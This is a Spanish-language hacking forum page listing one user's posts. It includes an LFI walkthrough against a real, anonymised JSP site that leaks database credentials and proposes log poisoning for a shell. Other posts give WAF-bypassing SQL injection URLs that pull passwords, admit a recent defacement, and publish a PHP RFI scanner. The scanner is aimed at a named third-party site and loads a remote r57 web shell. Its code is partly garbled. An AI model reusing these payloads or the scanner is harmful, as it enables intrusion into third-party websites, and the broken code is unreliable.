Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - alienmaster

#1
Introducción

En esta entrada vamos a ver como explotar un bug LFI (Local File Inclusion) en una web bajo JSP. Un LFI es una vulnerabilidad mediante la cual un atacante puede acceder a ficheros no destinados al usuario mediante un parámetro no controlado en un sistema modular.


LFI y estructura de archivos en un proyecto JSP

Como sabemos para explotar un LFI debemos conocer la estructura del ficheros del sistema al que estamos atacando, es decir si la web es por ejemplo de tipo index.jsp?pagina=inicio.jsp y conocemos que hay un directorio llamado panel, en el cual hay un jsp para agregar un usuario llamado gestionUsuarios.jps, introduciríamos la url index.jsp?pagina=panel/gestionUsuarios.jsp, y si desconocemos la estructura de los archivos y directorios de la web, habría que meterle en base a fuerza bruta. En JSP tenemos una ventaja, y es que los proyectos web en java están formados por la siguiente extructura:



Como vemos en la imagen, existe una una carpeta llamada WEB-INF en una ruta superior a la base de la aplicación, en la cual esta el archivo web.xml que es donde metemos diversos parámetros de configuración, y tirando de ahí ya se puede comenzar a extraer datos. En ese directorio también se guardan diferentes archivos de configuración como properties y demás, y utilizando fuerza bruta o conociendo algún dato del sistema podremos extraerlos.


Explotando el bug

Pues bien, ahora voy a llevar a cabo un ejemplo real de este ataque en una web que he encontrado la cual vamos a anonimizar, que tras ver su tipo de url vemos que tiene un parametro llamado module el cual parece vulnerable a LFI.



Pues viendo que está en Java y conociendo el detalle del famoso archivo web.xml, intentaremos escalar directorios y incluir este archivo a ver que sale, y tras un par de pruebas vemos que está tres directorios por encima de la base del sistema de modulación, y nos imprime información delicada en pantalla:



Como vemos, nos está soltando en pantalla todo el contenido del archivo, y si abrimos el código fuente de la web para verlo mas limpio podremos destacar lo siguiente:


  ...
  <context-param>
    <param-name>Jdbc_url</param-name>
    <param-value>jdbc:mysql://127.0.0.1/BASE_DE_DATOS?user=USUARIO&amp;password=PASSWORD</param-value>
  </context-param>
  ...
  <context-param>
      <param-name>log_path</param-name>
      <param-value>c:/pdo/</param-value>
  </context-param>
  ...
  <taglib>
    <taglib-uri>/WEB-INF/struts-bean.tld</taglib-uri>
    <taglib-location>/WEB-INF/struts-bean.tld</taglib-location>
  </taglib>
  <taglib>
    <taglib-uri>/WEB-INF/struts-logic.tld</taglib-uri>
    <taglib-location>/WEB-INF/struts-logic.tld</taglib-location>
  </taglib>
  ...



Tras examinar la información que nos devuelve el archivo, podemos destacar:

-Vemos los datos de configuración de la base de datos MySQL a la que se conecta el sistema, que esta en la propia máquina (127.0.0.1). Con esto si el servidor no tiene bloqueadas las conexiones externas (que son muchos...) ya tendríamos acceso completo a la base de datos.

-También vemos la ruta de los archivos LOG del apache, y una cosa curiosa, que el servidor esta en windows... Que podamos conocer la ruta de los logs es muy peligroso, puesto que podríamos hacer peticiones vía HTTP con código java inyectado en el GET, y luego los incluimos por el LFI y dicho código que hemos mandado por GET anteriormente se ejecutaría, lo que nos permitiría ejecutar comandos en el propio servidor y subir una shell para aumentar nuestro control sobre este.

-Por ultimo cabe destacar que nos muestra las rutas de varios archivos de configuración que están en el mismo directorio, que tras acceder a ellos vemos que definen diversos parámetros de configuración, librerías y demás datos que el atacante puede aprovechar


Conclusión:

Para concluir este post, sobra mencionar que tenemos que tener cuidado cuando hagamos un sistema modular mediante includes, y para evitar este tipo de vulnerabilidades tenemos dos opciones, o almacenamos los módulos o archivos disponibles a incluir en un array, o si no también podemos controlar que en la variable no se puedan insertar puntos ni barras, para que así no se pueda descender ni escalar del directorio de los módulos a incluir.

Fuente:
http://www.elefren.es/hacking-local-file-inclusion-java-server-pages/
#2
Introduccion
Como muchos conocemos, por allá por el 2005 con la aparición de las inyecciones SQL y demás agujeros de seguridad en php, Apache implementó un modulo llamado mod_security el cual funciona como una especie de WAF (Web Application Firewall) que bloquea nuestras peticiones a la aplicación cuando detecta valores sospechosos por GET, POST, COOKIE, etc... Hoy en día siguen habiendo muchas aplicaciones web (desde la de la tienda del chapuzas de la esquina, hasta gubernamentales) con este modulo activado en su servidor pensando así sus administradores que está libres de posibles inyecciones y demás.

¿Cómo funciona mod_security?
El mod_security actúa en una capa sobre la ejecución de código, filtrando las peticiones al servidor a las que lleguen parámetros sospechosos como puede ser por ejemplo en una variable GET un "AND 1=1", UNION, entre otros... Entonces si este es el caso el servidor bloquea la peticion mostrándonos una pagina de error. De esta manera nos impide poder realizar una inyección SQL.


Rompiendo el mod_security
Sabiendo que el mod_security se blinda funcionando con un filtrado de expresiones, para evitarlo tan solo hay que saltar ese filtrado, pero claro si en el están incluidas palabras como UNION, UpdateXML, SELECT, WHERE, etc.. ¿cómo conseguimos ejecutar nuestras sentencias? pues muy sencillo, en MySQL existe una sintaxis para ejecutar dichos parámetros solo si el MySQL que se ejecuta es bajo una versión en concreto (ideal para los dump) la cual funciona de la siguiente manera:


/*!40101 DELETE FROM ejemplo WHERE version=4 */
/*!50000 DELETE FROM ejemplo WHERE version=5 */


El código anterior si lo ejecutamos en una versión 4.x de MySQL solo ejecutará la primera sentencia, pues en la segunda le estamos diciendo que sea en versiones mayores a la 5. ¿Qué conseguimos con esto? pues que el mod_security no tiene filtrada esta sintaxis, es decir que cuando introducimos una petición GET con la sentencia en este formato se la tragará y nos ejecutará la inyección, aquí dejo algunos ejemplos:


http://www.victima.com/acceso.php?codigo='/!*50000OR*/ 1=1
http://www.victima.com/ver?idc=265' /*!50000AND*/ updatexml(null,concat(0x3a,(SELECT pass FROM tabla LIMIT 0,1)),1)
http://www.victima.com/tfno.php?id=.4'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7--


Conclusión
Como conclusión final de esta entrada pues creo que sobra decir, que lo mejor es hacer nuestras aplicaciones seguras, y evitar llegar a practicas como estas, pues un WAF, ya sea mod_security u otro en muchos casos no es seguro y la seguridad de nuestra web puede caer. Y en caso de que el WAF fuera seguro, imaginaros que en un momento por algún despiste del administrador, actualización o algo este se desactive, nuestra aplicación quedaría expuesta, así que lo mejor es no depender de estos módulos.

Fuente:
http://www.elefren.es/bypass-mod-security-php/
#3
Buenas, me preguntaba si hay alguna forma para saber si un server permite las conexiones externas desde MySQL, pues estoy intentando hacer un tool al que le mandes un grupo de webs y las recorra de una en una comprobando si tienen la conexion ext. abierta.

Desde comando lo intentado con el "mysql -h server -u root -p 1234" haciendolo de widows ejecutandolo desde php mediante exec() pero nada, me preguntaba si alguien sabe alguna forma....

Saludos y gracias de antemano
#4
Buenas, tras muchos años sin hacer un deface, ayer hice uno, lo mande a zone-h y veo que tras mas de 24h aun no me sale, hace años recuerdo que tardaba un par de horas o un dia como maximo mas o menos, ¿cuanto les esta tardando?

saludos !
#5
Foro Libre / ...
16 Mayo 2013, 15:46 PM
...
#6
PHP / Re: dompdf
29 Agosto 2012, 04:07 AM
amigo la gente a veces tiene pereza de estar buscando informacion que podrias dejar, como por ejemplo una url donde ver esa libreria o al menos el codigo que usas al llamarla y crear un pdf o algo...
#7
Nivel Web / Re: Scanner RFI simple en PHP
5 Octubre 2008, 22:48 PM
Cita de: pepeluxx en  5 Octubre 2008, 13:01 PM
Eso funciona?  :-X

Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es:

1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes)

2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea)

3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido

4- en el caso de que no este definido, es un posible RFI

Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion)

Un saludo

Si, funciona.

Lo que creo que dices que has programado es un scanner de codigo fuente PHP, el scanner que yo publico es analizando una web a la cual no tiene acceso a su codigo php.

Saludos
#8
Nivel Web / Scanner RFI simple en PHP
3 Octubre 2008, 12:38 PM
Hace un tiempo estuve pensando volver al hacking, en ese caso era entrar a S.H.T. (Spanish Hackers Team), y hablando con Joss me comento de hacer algun tool para hacer scanner masivamente a webs insertadas en un txt, lo comence de forma simple con la idea de mas tarde empliarlo para esvanear uns lista de webs, es decir que solo puede escanear una web, pero vamos que si sabes algo de php no te sera dificil modificarlo para que escanee todas las webs almacenadas en un txt. El escaner funciona de la siguiente manera:
1. Escanea el codigo fuente de la web en busca de variables en enlaces internos (ej: web.com/index.php?sección=pepe)
2. A las variables anteriores se le suman otras que el scanner trae por defecto, variables tipicas de modulacion de archivos.
3. Analiza distintos tipos de combinaciones de la web con esas variables y el valor de las variables una shell, y en caso de haber RFI te alerta.

Bien, por ultimo os dejo aqui el codigo, si veo que tras haber liberado este codigo no llega la plaga de gentuza modificando los creditos (que ya me ha ocurrido :S) seguire publicando tools que e programado, como por ejemplo algunas de ellas son un spammer para vbulletin, un spider de emails en foros, shell personal, entre otros...

Saludos especiales a Joss y nhh-32 ^^
scanner.php

<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: efnworkz@hotmail.com

Dedicated to Spanish Hackers Team
Gr33tz: -> JosS | nhh-32 | Omega <-
*/

set_time_limit(0);

#Config
$urlweb "www.guia-ubuntu.org";# Out http://, ex: google.com
$urlshell "http://usuarios.lycos.es/w0rms/r57.gif";# Url where you sent the shell script
$comunvars "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan "index.php";# The file that you want scan

#Funcs
function vars($url){
	
$xpl parse_url($url);$xpl $xpl[query];$xpl explode("&",$xpl);
	
$var 0;
	
while(
$var count($xpl)){
	
	
$v4r explode("=",$xpl[$var]);
	
	
$m0s .= '|'.$v4r[0];
	
	
$var++;
	
}
	
$m0s str_replace('amp;','',$m0s);
	
return 
$m0s;
}
function 
beerres($list$barras FALSE){
	
$s3p4 '<br>';
	
if(
$barras$s3p4 '|';
	
$list explode('|',$list);
	
$var 0;
	
while(
$var count($list)){
	
	
if(
$list[$var] != ''){
	
	
	
if(!@
preg_match("/$list[$var]/i",$m0s) ){
	
	
	
	
$m0s .= $list[$var].$s3p4;
	
	
	
}
	
	
}
	
	
$var++;
	
}
	
return 
$m0s;
}
function 
extrac($n00b$file FALSE){
	
$n0ob 'http://'.$n00b;
	
$source join("",file(&$n0ob));
	
$vars preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
	
$t0t count($results[1]);
	
$var 0;
	
while(
$var $t0t){
	
	
$xtr explode('"',$results[1][$var]);
	
	
$urllist .= $xtr[0].'|';
	
	
$varlist .= vars($xtr[0]);
	
	
$var++;
	
}
	
$m0s .= $varlist;
	
return 
beerres($m0s,1);
}
function 
rfi($vars,$web,$file,$urlshell){
	
$list explode('|',$vars);
	
$var 0;
	
while(
$var count($list)){
	
	
$url $web.$file."?".$list[$var]."=".$urlshell."?";
	
	
$source join("",file(&$url));
	
	
if(
preg_match("/shell/i",$source)){
	
	
	
$m0s .= "<font color=red><b>RFI-></b></font> ";
	
	
}else{
	
	
	
$m0s .= "<font color=green><b>Secure-></b></font> ";
	
	
}
	
	
$m0s .= $url.'<br>';
	
	
$var++;
	
}
	
return 
$m0s;
}

#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>
#9
yo apoyo totalmente a codebreak, le conozco del msn de hace un tiempo ya y es muy bueno en lo suyo

Saludos
#10
Nivel Web / Re: c99.txt y r57.txt
6 Junio 2008, 15:02 PM
La r57 esta bien, pero la c99 no la supera ninguna, ahi ves todas las tolls que incluye de ftp brute, un mini phpmyadmin, etc...

Saludos